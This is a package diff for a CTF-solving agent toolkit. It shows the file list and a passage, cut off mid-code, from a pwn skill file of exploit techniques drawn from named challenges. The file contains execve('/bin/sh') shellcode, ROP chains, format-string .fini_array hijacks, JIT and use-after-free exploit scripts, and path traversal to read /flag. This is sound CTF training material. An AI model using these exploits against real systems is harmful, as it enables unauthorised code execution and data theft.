ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,773 @@
|
|
|
1
|
+
# CTF Pwn - Advanced Exploit Techniques
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [VM Signed Comparison Bug (0xFun 2026)](#vm-signed-comparison-bug-0xfun-2026)
|
|
5
|
+
- [BF JIT Unbalanced Bracket to RWX Shellcode (VuwCTF 2025)](#bf-jit-unbalanced-bracket-to-rwx-shellcode-vuwctf-2025)
|
|
6
|
+
- [Type Confusion in Interpreter (VuwCTF 2025)](#type-confusion-in-interpreter-vuwctf-2025)
|
|
7
|
+
- [Off-by-One Index to Size Corruption (VuwCTF 2025)](#off-by-one-index-to-size-corruption-vuwctf-2025)
|
|
8
|
+
- [Double win() Call Pattern (VuwCTF 2025)](#double-win-call-pattern-vuwctf-2025)
|
|
9
|
+
- [DNS Record Buffer Overflow](#dns-record-buffer-overflow)
|
|
10
|
+
- [ASAN Shadow Memory Exploitation](#asan-shadow-memory-exploitation)
|
|
11
|
+
- [Format String with Encoding Constraints + RWX .fini_array Hijack](#format-string-with-encoding-constraints--rwx-fini_array-hijack)
|
|
12
|
+
- [Custom Canary Preservation](#custom-canary-preservation)
|
|
13
|
+
- [Integer Truncation via Order of Operations (CSAW 2015)](#integer-truncation-via-order-of-operations-csaw-2015)
|
|
14
|
+
- [Signed Integer Bypass (Negative Quantity)](#signed-integer-bypass-negative-quantity)
|
|
15
|
+
- [Canary-Aware Partial Overflow](#canary-aware-partial-overflow)
|
|
16
|
+
- [Global Buffer Overflow (CSV Injection)](#global-buffer-overflow-csv-injection)
|
|
17
|
+
- [MD5 Preimage Gadget Construction](#md5-preimage-gadget-construction)
|
|
18
|
+
- [VM GC-Triggered UAF — Slab Reuse (EHAX 2026)](#vm-gc-triggered-uaf--slab-reuse-ehax-2026)
|
|
19
|
+
- [Path Traversal Sanitizer Bypass](#path-traversal-sanitizer-bypass)
|
|
20
|
+
- [Timing Attack for Character-by-Character Flag Recovery (RC3 CTF 2016)](#timing-attack-for-character-by-character-flag-recovery-rc3-ctf-2016)
|
|
21
|
+
- [FSOP + Seccomp Bypass via openat/mmap/write (EHAX 2026)](#fsop--seccomp-bypass-via-openatmmapwrite-ehax-2026)
|
|
22
|
+
- [Motorola 68000 (m68k) Two-Stage Shellcode (HackIT 2017)](#motorola-68000-m68k-two-stage-shellcode-hackit-2017)
|
|
23
|
+
- [DOS COM Real Mode Shellcode (SEC-T CTF 2017)](#dos-com-real-mode-shellcode-sec-t-ctf-2017)
|
|
24
|
+
- [Seccomp BPF X-Register Addressing Mode Bypass (HITCON 2017)](#seccomp-bpf-x-register-addressing-mode-bypass-hitcon-2017)
|
|
25
|
+
- [Custom Printf Format Specifier Arginfo Overwrite (Hack.lu 2017)](#custom-printf-format-specifier-arginfo-overwrite-hacklu-2017)
|
|
26
|
+
- [Game Genie-Style 6-Char Code for Arbitrary Binary Patching (BSidesSF 2019)](#game-genie-style-6-char-code-for-arbitrary-binary-patching-bsidessf-2019)
|
|
27
|
+
- [Go Slice Capacity Aliasing via Struct-by-Value Copy (CONFidence Teaser 2019)](#go-slice-capacity-aliasing-via-struct-by-value-copy-confidence-teaser-2019)
|
|
28
|
+
|
|
29
|
+
For 2018-era data-interpretation exploitation (Chip-8 emulator OOB, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB), see [advanced-exploits-5.md](advanced-exploits-5.md).
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## VM Signed Comparison Bug (0xFun 2026)
|
|
34
|
+
|
|
35
|
+
**Pattern (CHAOS ENGINE):** Custom VM STORE opcode checks `offset <= 0xfff` with signed `jle` but no lower bound check.
|
|
36
|
+
|
|
37
|
+
**Exploit:**
|
|
38
|
+
1. Negative offsets reach function pointer table below data area
|
|
39
|
+
2. Build values byte-by-byte in VM memory using VM arithmetic
|
|
40
|
+
3. LOAD as qwords, compute negative offsets via XOR with 0xFF..FF
|
|
41
|
+
4. Overwrite HALT handler with `system@plt`
|
|
42
|
+
5. Trigger HALT with "sh" string pointer as argument
|
|
43
|
+
|
|
44
|
+
**General lesson:** Signed vs unsigned comparison bugs in custom VMs are common. Always check bounds in both directions. Function pointer tables near data buffers = easy RCE.
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## BF JIT Unbalanced Bracket to RWX Shellcode (VuwCTF 2025)
|
|
49
|
+
|
|
50
|
+
**Pattern (Blazingly Fast Memory Unsafe):** BF JIT compiler uses stack for `[`/`]` control flow. Unbalanced `]` pops values from prologue.
|
|
51
|
+
|
|
52
|
+
**Vulnerability:** `]` (LOOP_END) pops return address from stack. Without matching `[`, it pops the **tape address** which resides in **RWX memory**.
|
|
53
|
+
|
|
54
|
+
**Exploit:**
|
|
55
|
+
```python
|
|
56
|
+
# Stage 1: Write shellcode to tape via BF +/- operations, then trigger ]
|
|
57
|
+
# Use - for bytes >127 (0xff = 1 decrement vs 255 increments)
|
|
58
|
+
stage1 = b''
|
|
59
|
+
# Build read(0, tape, 256) shellcode on tape
|
|
60
|
+
shellcode_bytes = asm(shellcraft.read(0, 'r14', 256))
|
|
61
|
+
for byte in shellcode_bytes:
|
|
62
|
+
if byte <= 127:
|
|
63
|
+
stage1 += b'+' * byte + b'>'
|
|
64
|
+
else:
|
|
65
|
+
stage1 += b'-' * (256 - byte) + b'>'
|
|
66
|
+
stage1 += b']' # Unbalanced ] jumps to tape (RWX)
|
|
67
|
+
|
|
68
|
+
# Stage 2: Send full execve("/bin/sh") shellcode via stdin after Stage 1 runs
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
**Identification:** JIT compilers using stack for bracket matching + RWX tape memory.
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Type Confusion in Interpreter (VuwCTF 2025)
|
|
76
|
+
|
|
77
|
+
**Pattern (Idempotence):** Lambda calculus interpreter's `simplify_normal_order()` unconditionally sets function type to ABS (abstraction), even when it's a VAR (variable).
|
|
78
|
+
|
|
79
|
+
**Key insight:** VAR's unused bytes 16-23 get interpreted as body pointer. When `print_expression()` encounters type > 2, it dumps raw bytes as UNKNOWN_DATA — flag bytes interpreted as type value trigger the dump.
|
|
80
|
+
|
|
81
|
+
**General lesson:** Type confusion in interpreters occurs when type tags aren't validated before downcasting. Unused padding bytes in one variant become active fields in another.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## Off-by-One Index to Size Corruption (VuwCTF 2025)
|
|
86
|
+
|
|
87
|
+
**Pattern (Kiwiphone):** Index 0 writes to `entries[-1]`, overlapping a struct's `size` field.
|
|
88
|
+
|
|
89
|
+
**Exploit chain:**
|
|
90
|
+
1. Write to index 0 with crafted data to set `phonebook.size = 48` (normally 16)
|
|
91
|
+
2. `print_all` now dumps 48 entries, leaking stack canary, saved RBP, and libc return address
|
|
92
|
+
3. Calculate libc base from leaked return address
|
|
93
|
+
4. Write ROP chain into entries 17-22: `[canary] [rbp] [ret] [pop_rdi] [/bin/sh] [system]`
|
|
94
|
+
5. Exit with -1 to trigger return through ROP chain
|
|
95
|
+
|
|
96
|
+
**Format trick:** Phone format `+48 0 0-0` doubles as valid phone number AND size overwrite value.
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Double win() Call Pattern (VuwCTF 2025)
|
|
101
|
+
|
|
102
|
+
**Pattern (Tokaid):** `win()` has `if (attempts++ > 0)` check — first call increments from 0 (fails), second call succeeds.
|
|
103
|
+
|
|
104
|
+
**Payload:** Stack two return addresses: `b'A'*offset + p64(win) + p64(win)`
|
|
105
|
+
|
|
106
|
+
**PIE calculation:** When main address is leaked: `base = main_leak - main_offset; win = base + win_offset`.
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## DNS Record Buffer Overflow
|
|
111
|
+
|
|
112
|
+
**Pattern (Do Not Strike The Clouds):** Many AAAA records overflow stack buffer in DNS response parser.
|
|
113
|
+
|
|
114
|
+
**Exploitation:**
|
|
115
|
+
1. Set up DNS server returning excessive AAAA records
|
|
116
|
+
2. Target binary queries DNS, copies records into fixed-size stack buffer
|
|
117
|
+
3. Many records overflow into return address
|
|
118
|
+
4. Overwrite with win function address
|
|
119
|
+
|
|
120
|
+
## ASAN Shadow Memory Exploitation
|
|
121
|
+
|
|
122
|
+
**Pattern (Asan-Bazar, Nullcon 2026):** Binary compiled with AddressSanitizer has format string + OOB write vulnerabilities.
|
|
123
|
+
|
|
124
|
+
**ASAN Shadow Byte Layout:**
|
|
125
|
+
| Shadow Value | Meaning |
|
|
126
|
+
|-------------|---------|
|
|
127
|
+
| `0x00` | Fully accessible (8 bytes) |
|
|
128
|
+
| `0x01-0x07` | Partially accessible (1-7 bytes) |
|
|
129
|
+
| `0xF1` | Stack left redzone |
|
|
130
|
+
| `0xF3` | Stack right redzone |
|
|
131
|
+
| `0xF5` | Stack use after return |
|
|
132
|
+
|
|
133
|
+
**Key Insight:** ASAN may use a "fake stack" (50% chance) — areas past the ASAN frame have shadow `0x00` on the real stack but different on the fake stack. Detect which by leaking the return address offset.
|
|
134
|
+
|
|
135
|
+
**Exploitation Pattern:**
|
|
136
|
+
```python
|
|
137
|
+
# 1. Leak PIE base via format string
|
|
138
|
+
payload = b'%8$p' # Code pointer at known offset
|
|
139
|
+
pie_base = leaked - known_offset
|
|
140
|
+
|
|
141
|
+
# 2. Detect real vs fake stack
|
|
142
|
+
# Real stack: return address at known offset from format string buffer
|
|
143
|
+
# Check if leaked return address matches expected function offset
|
|
144
|
+
is_real_stack = (ret_addr - pie_base) == 0xdc052 # known offset
|
|
145
|
+
|
|
146
|
+
# 3. Calculate OOB write offset
|
|
147
|
+
# Format string buffer at stack offset N
|
|
148
|
+
# Target (return address) at stack offset M
|
|
149
|
+
# Distance in bytes = (M - N) * 8
|
|
150
|
+
# Map to ledger system: slot = distance // 16, sub_offset = distance % 16
|
|
151
|
+
|
|
152
|
+
# 4. Overwrite return address with win() via OOB ledger write
|
|
153
|
+
# Retry until real stack is used (~50% success rate per attempt)
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
**Single-Interaction Exploitation:** Combine leak + detect + exploit in one format string interaction. If fake stack detected, disconnect and retry.
|
|
157
|
+
|
|
158
|
+
## Format String with Encoding Constraints + RWX .fini_array Hijack
|
|
159
|
+
|
|
160
|
+
**Pattern (Encodinator, Nullcon 2026):** Input is base85-encoded into RWX memory at fixed address, then passed to `printf()`.
|
|
161
|
+
|
|
162
|
+
**Key insight:** Don't try libc-based exploitation. Instead, exploit the RWX mmap region directly:
|
|
163
|
+
|
|
164
|
+
1. **RWX region at fixed address** (e.g., `0x40000000`): Write shellcode here
|
|
165
|
+
2. **`.fini_array` hijack**: Overwrite `.fini_array[0]` to point to shellcode. When `main()` returns, `__libc_csu_fini` calls `fini_array` entries.
|
|
166
|
+
3. **Format string writes**: Use `%hn` to write 2 bytes at a time to `.fini_array`
|
|
167
|
+
|
|
168
|
+
**Argument numbering with base85:**
|
|
169
|
+
Base85 decoding changes payload length. The decoded prefix occupies P bytes on stack, so first appended pointer is at arg `6 + P/8`. Use convergence loop:
|
|
170
|
+
|
|
171
|
+
```python
|
|
172
|
+
arg_base = 20 # Initial guess
|
|
173
|
+
for _ in range(20):
|
|
174
|
+
fmt = construct_format_string(writes, arg_base)
|
|
175
|
+
# Pad to base85 group boundary (multiple of 5 encoded = 4 raw)
|
|
176
|
+
while len(fmt) % 10 != 0:
|
|
177
|
+
fmt += b"A"
|
|
178
|
+
prefix = b85_decode(fmt)
|
|
179
|
+
new_arg_base = 6 + (len(prefix) // 8)
|
|
180
|
+
if new_arg_base == arg_base:
|
|
181
|
+
break
|
|
182
|
+
arg_base = new_arg_base
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**Shellcode (19-byte execve):**
|
|
186
|
+
```nasm
|
|
187
|
+
push 0x3b ; syscall number
|
|
188
|
+
pop rax
|
|
189
|
+
cdq ; rdx = 0
|
|
190
|
+
movabs rbx, 0x68732f2f6e69622f ; "/bin//sh"
|
|
191
|
+
push rdx ; null terminator
|
|
192
|
+
push rbx ; "/bin//sh"
|
|
193
|
+
push rsp
|
|
194
|
+
pop rdi ; rdi = pointer to "/bin//sh"
|
|
195
|
+
push rdx
|
|
196
|
+
pop rsi ; rsi = NULL
|
|
197
|
+
syscall
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
**Why avoid libc:** Base85 encoding makes precise libc address calculations extremely difficult. The RWX region + .fini_array approach uses only fixed addresses (no ASLR, no PIE concerns for the write target).
|
|
201
|
+
|
|
202
|
+
## Custom Canary Preservation
|
|
203
|
+
|
|
204
|
+
**Pattern (Canary In The Bitcoin Mine):** Buffer overflow must preserve known canary value.
|
|
205
|
+
|
|
206
|
+
**Key technique:** Write the exact canary bytes at the correct offset during overflow:
|
|
207
|
+
```python
|
|
208
|
+
# Buffer: 64 bytes | Canary: "BIRD" (4 bytes) | Target: 1 byte
|
|
209
|
+
payload = b'A' * 64 + b'BIRD' + b'X' # Preserve canary, set target to non-zero
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
**Identification:** Source code shows struct with buffer + canary + flag bool, `gets()` for input.
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## Integer Truncation via Order of Operations (CSAW 2015)
|
|
217
|
+
|
|
218
|
+
Incorrect integer arithmetic ordering causes truncation bugs:
|
|
219
|
+
|
|
220
|
+
```c
|
|
221
|
+
// Vulnerable: integer division truncates before multiply
|
|
222
|
+
int position = 4 * (ticks / 1000); // 1500 ticks -> 4 * 1 = 4
|
|
223
|
+
|
|
224
|
+
// Correct: multiply first to preserve precision
|
|
225
|
+
int position = (4 * ticks) / 1000; // 1500 ticks -> 6000 / 1000 = 6
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
This creates an off-by-N error (position overshoots buffer end by 2 bytes), enabling:
|
|
229
|
+
1. Heap metadata corruption via out-of-bounds write
|
|
230
|
+
2. Adjacent object pointer overwrite for read/write primitives
|
|
231
|
+
3. Chain with heap spray for ASLR bypass via information leak
|
|
232
|
+
|
|
233
|
+
**Key insight:** Audit integer expressions where division precedes multiplication -- the truncation gap grows with input magnitude.
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Signed Integer Bypass (Negative Quantity)
|
|
238
|
+
|
|
239
|
+
**Pattern (PascalCTF 2026):** Menu program with `scanf("%d")` for quantity. Negative input makes `quantity * price` negative, bypassing `balance >= total_cost` check.
|
|
240
|
+
|
|
241
|
+
```python
|
|
242
|
+
# Select expensive item (e.g., flag drink costing 1B), enter quantity -1
|
|
243
|
+
# -1 * 1000000000 = -1000000000 → balance (100) >= -1000000000 [OK]
|
|
244
|
+
p.sendline(b'10') # flag item
|
|
245
|
+
p.sendline(b'-1') # negative quantity
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
## Canary-Aware Partial Overflow
|
|
249
|
+
|
|
250
|
+
**Pattern (MyGit, PascalCTF 2026):** Buffer overflow where `valid` flag sits between buffer end and canary.
|
|
251
|
+
|
|
252
|
+
**Stack layout:**
|
|
253
|
+
- Buffer: `rbp-0x30` (48 bytes)
|
|
254
|
+
- Valid flag: `rbp-0x10` (offset 32 from buffer)
|
|
255
|
+
- Stack canary: `rbp-0x08` (offset 40 from buffer)
|
|
256
|
+
|
|
257
|
+
**Key technique:** Use `./` as no-op path padding to control input length precisely:
|
|
258
|
+
```text
|
|
259
|
+
././././././././././../../../../flag (36 bytes)
|
|
260
|
+
```
|
|
261
|
+
- `./` segments normalize to current directory (no-op)
|
|
262
|
+
- Byte 32 must be non-zero to set `valid = true`
|
|
263
|
+
- Stay under byte 40 to avoid canary
|
|
264
|
+
|
|
265
|
+
**Exploit chain:**
|
|
266
|
+
1. `checkout ././././././././././../../../../flag` - reads `/flag` content as "current commit"
|
|
267
|
+
2. `branch create ././././././././././../../../../tmp/leaked` - writes commit (flag) to `/tmp/leaked`
|
|
268
|
+
3. `cat /tmp/leaked` - read the exfiltrated flag
|
|
269
|
+
|
|
270
|
+
## Global Buffer Overflow (CSV Injection)
|
|
271
|
+
|
|
272
|
+
**Pattern (Spreadsheet):** Adjacent global variables exploitable via overflow.
|
|
273
|
+
|
|
274
|
+
**Exploitation:**
|
|
275
|
+
1. Identify global array adjacent to filename pointer in memory
|
|
276
|
+
2. Overflow array bounds by injecting extra delimiters (commas in CSV)
|
|
277
|
+
3. Overflowed pointer lands on filename variable
|
|
278
|
+
4. Change filename to `flag.txt`, then trigger read operation
|
|
279
|
+
|
|
280
|
+
```python
|
|
281
|
+
# Edit last cell with comma-separated overflow
|
|
282
|
+
edit_cell("J10", "whatever,flag.txt")
|
|
283
|
+
save() # CSV row now has 11 columns
|
|
284
|
+
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
|
|
285
|
+
load() # Now reads flag.txt into spreadsheet
|
|
286
|
+
print_spreadsheet() # Shows flag
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
## MD5 Preimage Gadget Construction
|
|
290
|
+
|
|
291
|
+
**Pattern (Hashchain, Nullcon 2026):** Server concatenates N MD5 digests and executes them as code. Brute-force preimages with desired byte prefixes.
|
|
292
|
+
|
|
293
|
+
**Core technique:** Each MD5 digest is 16 bytes. Use `eb 0c` (jmp +12) as first 2 bytes to skip the middle 12 bytes, landing on bytes 14-15 which become a 2-byte instruction:
|
|
294
|
+
|
|
295
|
+
```c
|
|
296
|
+
// Brute-force MD5 preimage with prefix eb0c and desired 2-byte suffix
|
|
297
|
+
for (uint64_t ctr = 0; ; ctr++) {
|
|
298
|
+
sprintf(msg + prefix_len, "%016llx", ctr);
|
|
299
|
+
MD5(msg, msg_len, digest);
|
|
300
|
+
if (digest[0] == 0xEB && digest[1] == 0x0C) {
|
|
301
|
+
uint16_t suffix = (digest[14] << 8) | digest[15];
|
|
302
|
+
if (suffix == target_instruction)
|
|
303
|
+
break; // Found!
|
|
304
|
+
}
|
|
305
|
+
}
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
**Building i386 syscall chains from 2-byte gadgets:**
|
|
309
|
+
- `31c0` = `xor eax, eax`
|
|
310
|
+
- `89e1` = `mov ecx, esp`
|
|
311
|
+
- `b220` = `mov dl, 0x20`
|
|
312
|
+
- `cd80` = `int 0x80`
|
|
313
|
+
- `40` + NOP = `inc eax`
|
|
314
|
+
|
|
315
|
+
**Hashchain v1 (JMP to NOP sled):** RWX buffer at `0x40000000` + NOP sled at `0x41000000`. Find MD5 preimage starting with `0xE9` (jmp rel32) that lands in the sled:
|
|
316
|
+
```python
|
|
317
|
+
# Brute-force: find input whose MD5 starts with E9 and offset lands in NOP sled
|
|
318
|
+
# Example: b"v" + b"G" * 86 → MD5 starts with e9 59 1f 2c → jmp 0x412c1f5e
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
**Hashchain v2 (3-hash chain):** Store MD5 digests at user-controlled offsets. Build instruction chain:
|
|
322
|
+
- **Offset 0 (jmp +2):** Find input whose MD5 starts with `EB 02` (e.g., `143874`)
|
|
323
|
+
- **Offset 4 (push win):** Find input whose MD5 starts with `68 XX XX XX` matching win() address bytes
|
|
324
|
+
- **Offset 8 (ret):** Find input whose MD5 byte[1] is `C3` (e.g., `5488` → `56 C3`)
|
|
325
|
+
|
|
326
|
+
**Pre-computation approach:** Build lookup table mapping MD5 4-byte prefixes to inputs. At runtime, parse win() address from server banner, look up matching push-hash input.
|
|
327
|
+
|
|
328
|
+
**Brute-force time:** 32-bit prefix match: ~2^32 hashes (~60s on 8 cores). 16-bit: instant.
|
|
329
|
+
|
|
330
|
+
## VM GC-Triggered UAF — Slab Reuse (EHAX 2026)
|
|
331
|
+
|
|
332
|
+
**Pattern (SarcAsm):** Custom stack-based VM with NEWBUF/SLICE/GC/BUILTIN opcodes. Slicing a buffer creates a shared reference to the same slab. When the slice is dropped and GC'd, it frees the shared slab even though the parent buffer is still alive.
|
|
333
|
+
|
|
334
|
+
**Vulnerability:** `free_data()` called on slice frees the underlying slab pointer that the parent buffer still references → UAF read/write through parent.
|
|
335
|
+
|
|
336
|
+
**Exploit chain:**
|
|
337
|
+
1. `NEWBUF 24` → allocates 32-byte slab (slab class matches function objects)
|
|
338
|
+
2. `READ 24` → fills buffer, sets length so SLICE bounds check passes
|
|
339
|
+
3. `SLICE 0,24` → alias to same slab
|
|
340
|
+
4. `DROP` + `GC` → frees the slab via slice's destructor
|
|
341
|
+
5. `BUILTIN 0` → allocates function object, reuses freed 32-byte slab (code pointer at offset +8)
|
|
342
|
+
6. `WRITEBUF 16,0` → sets parent buffer's length to 16 (no actual write, bypasses bounds)
|
|
343
|
+
7. `PRINTB` → leaks code pointer from UAF slab → compute PIE base
|
|
344
|
+
8. `READ 16` → overwrites code pointer with `win()` address
|
|
345
|
+
9. `CALL` → executes `win()` → `execve("/bin/sh")`
|
|
346
|
+
|
|
347
|
+
```python
|
|
348
|
+
from pwn import *
|
|
349
|
+
import struct
|
|
350
|
+
|
|
351
|
+
# ULEB128 encoding for VM immediates
|
|
352
|
+
def uleb128(val):
|
|
353
|
+
result = b''
|
|
354
|
+
while True:
|
|
355
|
+
byte = val & 0x7f
|
|
356
|
+
val >>= 7
|
|
357
|
+
if val: byte |= 0x80
|
|
358
|
+
result += bytes([byte])
|
|
359
|
+
if not val: break
|
|
360
|
+
return result
|
|
361
|
+
|
|
362
|
+
# Opcodes
|
|
363
|
+
NEWBUF, READ, SLICE, DROP, GC = b'\x20', b'\x21', b'\x22', b'\x04', b'\x60'
|
|
364
|
+
BUILTIN, CALL, GLOAD, GSTORE = b'\x40', b'\x41', b'\x30', b'\x31'
|
|
365
|
+
